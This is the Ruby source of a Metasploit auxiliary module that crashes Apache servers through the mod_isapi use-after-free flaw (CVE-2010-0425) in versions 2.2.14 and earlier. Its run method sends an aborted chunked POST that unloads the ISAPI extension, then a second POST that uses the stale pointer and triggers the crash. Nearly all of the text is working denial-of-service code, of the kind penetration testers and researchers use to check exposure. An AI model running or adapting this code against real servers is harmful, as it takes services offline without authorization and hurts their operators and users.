## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Apache mod_isapi Dangling Pointer', 'Description' => %q{ This module triggers a use-after-free vulnerability in the Apache Software Foundation mod_isapi extension for versions 2.2.14 and earlier. In order to reach the vulnerable code, the target server must have an ISAPI module installed and configured. By making a request that terminates abnormally (either an aborted TCP connection or an unsatisfied chunked request), mod_isapi will unload the ISAPI extension. Later, if another request comes for that ISAPI module, previously obtained pointers will be used resulting in an access violation or potentially arbitrary code execution. Although arbitrary code execution is theoretically possible, a real-world method of invoking this consequence has not been proven. In order to do so, one would need to find a situation where a particular ISAPI module loads at an image base address that can be re-allocated by a remote attacker. Limited success was encountered using two separate ISAPI modules. In this scenario, a second ISAPI module was loaded into the same memory area as the previously unloaded module. }, 'Author' => [ 'Brett Gervasoni', # original discovery 'jduck' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2010-0425' ], [ 'OSVDB', '62674'], [ 'BID', '38494' ], [ 'URL', 'https://issues.apache.org/bugzilla/show_bug.cgi?id=48509' ], [ 'URL', 'http://www.gossamer-threads.com/lists/apache/cvs/381537' ], [ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ], [ 'EDB', '11650' ] ], 'DisclosureDate' => 'Mar 05 2010')) register_options([ Opt::RPORT(80), OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ]) ]) end def run serverIP = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) serverIP += ":" + datastore['RPORT'].to_s end isapiURI = datastore['ISAPI'] # Create a stale pointer using the vulnerability print_status("Causing the ISAPI dll to be loaded and unloaded...") unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" + "Pragma: no-cache\r\n" + "Proxy-Connection: Keep-Alive\r\n" + "Host: " + serverIP + "\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 40334\r\n\r\n" + Rex::Text.rand_text_alphanumeric(rand(128)+128) connect sock.put(unload_trigger) disconnect # Now make the stale pointer get used... print_status("Triggering the crash ...") data = Rex::Text.rand_text_alphanumeric(rand(256)+1337) crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" + "Host: " + serverIP + "\r\n" + "Content-Length: #{data.length}\r\n\r\n" + data connect sock.put(crash_trigger) disconnect end end